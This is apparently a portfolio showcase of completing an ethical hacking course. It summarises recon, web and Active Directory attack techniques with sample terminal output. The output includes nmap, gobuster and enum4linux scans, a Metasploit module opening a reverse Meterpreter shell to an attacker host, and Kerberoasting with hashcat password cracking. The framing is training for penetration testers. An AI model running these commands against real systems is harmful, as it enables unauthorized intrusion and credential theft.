PROJECT SHOWCASE | CYBERSECURITY

Practical Ethical Hacking (PEH) Course

Full 27-Hour Curriculum Mastery & Hands-On Security Penetration Testing

Course Verification & Overview

Completed the comprehensive 27-Hour Practical Ethical Hacking curriculum hosted by TCM Security (Heath Adams / The Cyber Mentor). Covered end-to-end penetration testing methodologies, network scanning, active directory exploits, and web app security.

27+	2 Parts	10+	100%
HOURS TRAINED	FULL SERIES	LAB SCENARIOS	PRACTICAL FOCUS

Part 1: Networking, Linux & Reconnaissance

YouTube: 3FNYvj2U0HM

bash - Reconnaissance & Network Discovery

```
kali@attacker:~$ sudo nmap -sC -sV -p- -T4 10.10.10.185
Starting Nmap 7.94 ( https://nmap.org ) at 2026-10-01 10:14 EST
Nmap scan report for target.local (10.10.10.185)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
[!] Identified Open Web Server & SSH Port. Proceeding to Directory Enumeration...
```

Networking & Protocols

Mastered TCP/IP 3-way handshake, OSI model, Subnetting, MAC address spoofing, and key networking protocols including HTTP/S, DNS, SMB, and SSH.

OSINT & Information Gathering

Executed Passive & Active Reconnaissance using tools like sublist3r, Hunter.io, theHarvester, Google Dorks, and Breached Credential databases.

PHASE 2: ENUMERATION & SCANNING

Target Assessment & Web Enumeration

Identifying Attack Vectors and Mapping Infrastructure

Demonstrated full competence in vulnerability assessment, web directory brute-forcing, service enumeration, and identifying initial foothold vectors across target systems.

gobuster - Web Path Discovery

```
kali@attacker:~$ gobuster dir -u http://10.10.10.185 -w
/usr/share/wordlists/dirb/common.txt
===============================================================
/[200 OK] /index.html
/[301 Moved Permanently] /admin ==> http://10.10.10.185/admin/
/[200 OK] /uploads
[+] Priority Endpoint Found: /admin/login.php (Status: 200)
```

Enumeration Techniques & Tools

- **Nmap & Masscan:** Host discovery, OS fingerprinting, default script testing, and port scanning optimization.
- **Directory Brute-forcing:** Utilizing Gobuster, Feroxbuster, and ffuf with targeted wordlists (SecLists) for hidden endpoints.
- **SMB & NetBIOS Enumeration:** Enumerating shares with `smbclient`, `enum4linux`, and mapping guest access privileges.
- **Vulnerability Analysis:** Cross-referencing identified software versions with Exploit-DB, Searchsploit, and CVE databases.

enum4linux - SMB Share Enumeration

```
kali@attacker:~$ enum4linux -a 10.10.10.185
[+] Target Information: 10.10.10.185
[+] Enumerating Workgroup/Domain... Domain: WORKGROUP
[+] Disk Shares Found: \ADMIN$, \C$, \IPC$, \Public
[+] Unauthenticated Read Access on Share: \Public
```

PHASE 3: EXPLOITATION & WEB ATTACKS

Web Application Security & Exploitation

Part 2: Deep Dive into Application Vulnerabilities (YouTube: sH4JCwjybGs)

OWASP Top 10 Focus

In-depth practical experience with SQL Injection (SQLi), Cross-Site Scripting (XSS), Local/Remote File Inclusion (LFI/RFI), and Command Injection.

Credential Brute Forcing

Utilized Hydra, Burp Suite Intruder, and WPScan to execute password spraying and dictionary attacks against authentication forms.

msfconsole - Reverse Shell Exploitation

```
msf6 > use exploit/multi/http/wp_plugin_implicit_upload
msf6 exploit(wp_plugin) > set RHOSTS 10.10.10.185
msf6 exploit(wp_plugin) > set LHOST 10.10.14.2
msf6 exploit(wp_plugin) > run
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Sending stage (302077 bytes) to 10.10.10.185
[+] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.185:52134)
```

Key Web Attack Vectors Practiced

- **Burp Suite Mastery:** Intercepting HTTP traffic, modifying request payloads, replaying requests, and decoding tokens.
- **Reverse Shell Payload Crafting:** Generating bash, python, PHP, and netcat reverse shells for system access.
- **Privilege Escalation Fundamentals:** SUID binary exploitation, kernel exploits, sudo misconfigurations, and LinPEAS analysis.

PHASE 4: ACTIVE DIRECTORY DOMAIN HACKING

Enterprise Active Directory Attacks

Simulating Corporate Domain Breaches & Privilege Escalation

Active Directory Ecosystem Lab

Constructed and compromised an Active Directory lab featuring Domain Controllers, Kerberos authentication attacks, credential dumping, and post-exploitation lateral movement.

impacket - Kerberoasting Attack Execution

```
kali@attacker:~$ GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.5 -
request
ServicePrincipalName Name MemberOf
MSSQLSvc/db.corp.local sql_svc CN=Domain Admins,OU=Groups...
Hash Saved: $krb5tgs$23$*sql_svc$corp.local*...
kali@attacker:~$ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
[+] Cracked TGS Hash for sql_svc: "Summer2024!"
```

AD Attack Vectors

LLMNR/NBT-NS Poisoning (Responder), AS-REP Roasting, Kerberoasting, Password Spraying, and Pass-the-Hash (PtH).

AD Post-Exploitation

BloodHound graph analysis for path to Domain Admin, Secretsdump credential extraction, and Golden Ticket generation.

CAPSTONE & SUMMARY

Course Completion & Professional Impact

Practical Ethical Hacking Parts 1 & 2 Completed

Course Certificate & Skills Validated

Completed the full 27-hour curriculum covering the complete pentest lifecycle: Planning, Information Gathering, Exploitation, Post-Exploitation, Active Directory Security, and Executive Reporting.

Technical Toolset Acquired

Recon & Scanning

Nmap, Masscan, Gobuster, ffuf, Sublist3r, Wireshark, Netcat, Responder

Exploitation & AD

Metasploit, Burp Suite Pro, Impacket Suite, BloodHound, CrackMapExec, Hashcat, John the Ripper

Reporting & Professional Practice

- **Executive Summary Writing:** Documenting risk matrices, CVSS scoring, and business impact for non-technical stakeholders.
- **Remediation Guidance:** Providing actionable patch strategies, network segmentation advice, and AD hardening policies.
- **Rules of Engagement:** Scope definition, legal boundaries, and safe testing procedures in production environments.

```
status - Completion Verified

[✓] PRACTICAL ETHICAL HACKING (PARTS 1 & 2) COMPLETE
    Instructor: Heath Adams (The Cyber Mentor) | TCM Security
```